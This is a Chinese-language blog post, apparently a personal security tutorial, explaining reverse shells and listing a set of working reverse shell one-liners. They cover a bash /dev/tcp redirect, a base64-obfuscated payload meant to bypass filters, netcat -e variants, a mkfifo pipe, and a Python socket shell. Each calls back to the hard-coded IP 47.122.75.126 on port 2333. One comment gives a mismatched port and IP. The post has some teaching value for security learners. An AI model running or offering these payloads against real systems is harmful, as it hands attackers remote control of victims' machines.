反弹shell

什么是反弹shell

反弹shell(Reverse Shell)是一种常见的攻击方式,通常用于远程控制目标系统。它与传统的“反向连接”(Reverse Connection)相似,通过允许目标系统主动连接回攻击者的机器,从而绕过防火墙或NAT(网络地址转换)等网络安全措施。

反弹 shell 是一种网络攻击技术,它允许攻击者在远程目标机器上执行一个命令,使得目标机器主动向攻击者的机器发起网络连接,将一个命令行 shell(如 bash、cmd 等)提供给攻击者,从而让攻击者能够控制目标机器的 shell,就好像直接在目标机器上操作一样。

什么时候想要使用反弹shell

当我们在后续操作中需要使用到提权,或者命令执行失败,执行命令没有回显的时候,我们都需要想到使用反弹shell,以便我们进行后续的操作

反弹shell的前提是要有一个VPS

反弹shell工作原理

通常情况下,我们会从本地计算机发起连接去访问远程服务器,这是正向连接,比如使用 SSH、HTTP 等协议。然而,在某些情况下,目标机器可能处于防火墙或网络地址转换(NAT)之后,外部无法直接访问,或者目标机器有严格的入站连接限制,这时正向连接就无法实现。

在传统的shell远程访问中,攻击者的机器通常会主动连接到目标机器上。反弹shell与之相反,反弹shell利用反向连接的概念,在目标机器上执行一个命令,该命令会主动向攻击者控制的服务器发起连接,目标机器主动连接到攻击者的机器,并向攻击者的机器发送一个shell(命令行接口)。攻击者通过这个shell可以绕过防火墙和NAT限制,从而可以执行命令、上传、下载文件等操作,实现对目标机器的远程控制。

反弹shell具体步骤

  • 攻击者:首先,攻击者启动一个监听程序(如 netcat),等待目标机器的连接。
  • 目标机器:目标机器(被攻击的系统)会主动向攻击者机器发起连接,并将一个shell连接回攻击者
  • 一旦连接建立,攻击者就可以通过该连接来控制目标机器

反弹shell过程

  • 攻击者端:攻击者使用一个监听程序(如netcat)等待来自目标机器的连接。

例如:攻击者在自己的机器上运行一下命令来监听一个端口(如2333端口)

1
nc -lvp 2333
  • 目标端:目标机器发起一个连接会攻击者,连接后会得到一个shell。

例如:目标机器上使用netcat发起反向连接:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
----------------------------------------
bash -i >& /dev/tcp/47.122.75.126/2333 0>&1
/*
使用 Bash 实现反弹 shell(适用于Linux系统)
bash -i:打开一个交互式的 bash shell。
>&:将标准输出和标准错误输出重定向。
/dev/tcp/47.122.75.126/2333:利用 bash 的特殊文件表示,尝试建立一个到 47.122.75.126 的 2333 端口的TCP连接。
0>&1:将标准输入重定向到标准输出,这样可以让攻击者通过建立的TCP连接与 bash shell 进行交互。
*/
----------------------------------------
echo bash -i >& /dev/tcp/47.122.75.126/2333 0>&1
----------------------------------------
echo YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMjIuNzUuMTI2LzIzMzMgMD4mMQ== | base64 -d| /bin/bash
/*
//base64编码绕过
*/
----------------------------------------
nc 47.122.75.126 2333 -e /bin/bash
/*
2333 是监听的端口,-e /bin/bash 表示通过这个连接执行 /bin/bash 命令,即启动一个 shell
*/
----------------------------------------
nc -e /bin/bash 47.122.75.126 2333
/*
对于一些较旧的nc版本可以使用。
nc(Netcat):一个强大的网络工具,可用于各种网络操作
-e:指定连接成功后执行的程序,这里将 /bin/bash 作为程序,即一旦与 47.122.75.126 的 2333 端口建立连接,就会执行 /bin/bash 并将其作为shell提供给对方。
*/
----------------------------------------
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.1.100 2333 >/tmp/f
/*
对于较新的 nc 版本,可能不支持 -e 选项,可以用这个命令来代替
rm /tmp/f;mkfifo /tmp/f:删除 /tmp/f ,并创建一个命令管道 /tmp/f
cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.1.100 4444 >/tmp/f:使用管道将 cat 从命名管道读取的数据送给 bash -i,将 bash 的标准错误输出重定向到标准输出,再通过 nc 发送给 47.122.75.126 的 4444 端口,同时 nc 接收的数据重定向回命名管道,形成一个双向通信通道。
*/
----------------------------------------
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.122.75.126",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
/*
使用 python 实现反弹shell
import socket,subprocess,os:导入所需的模块,socket 用于网络连接,subprocess 用于执行外部命令,os 用于文件描述符操作。
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM):创建一个 IPv4 的 TCP 套接字。
s.connect(("47.122.75.126",2333)):连接到 47.122.75.126 的 2333 端口。
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2):将套接字的文件描述符复制到标准输入、标准输出和标准错误输出,实现通过套接字的输入输出功能。
p=subprocess.call(["/bin/bash","-i"]):执行一个交互式的 bash shell。
*/
----------------------------------------

反弹shell
https://yschen20.github.io/2025/04/25/反弹shell/
作者
Suzen
发布于
2025年4月25日
更新于
2025年4月25日
许可协议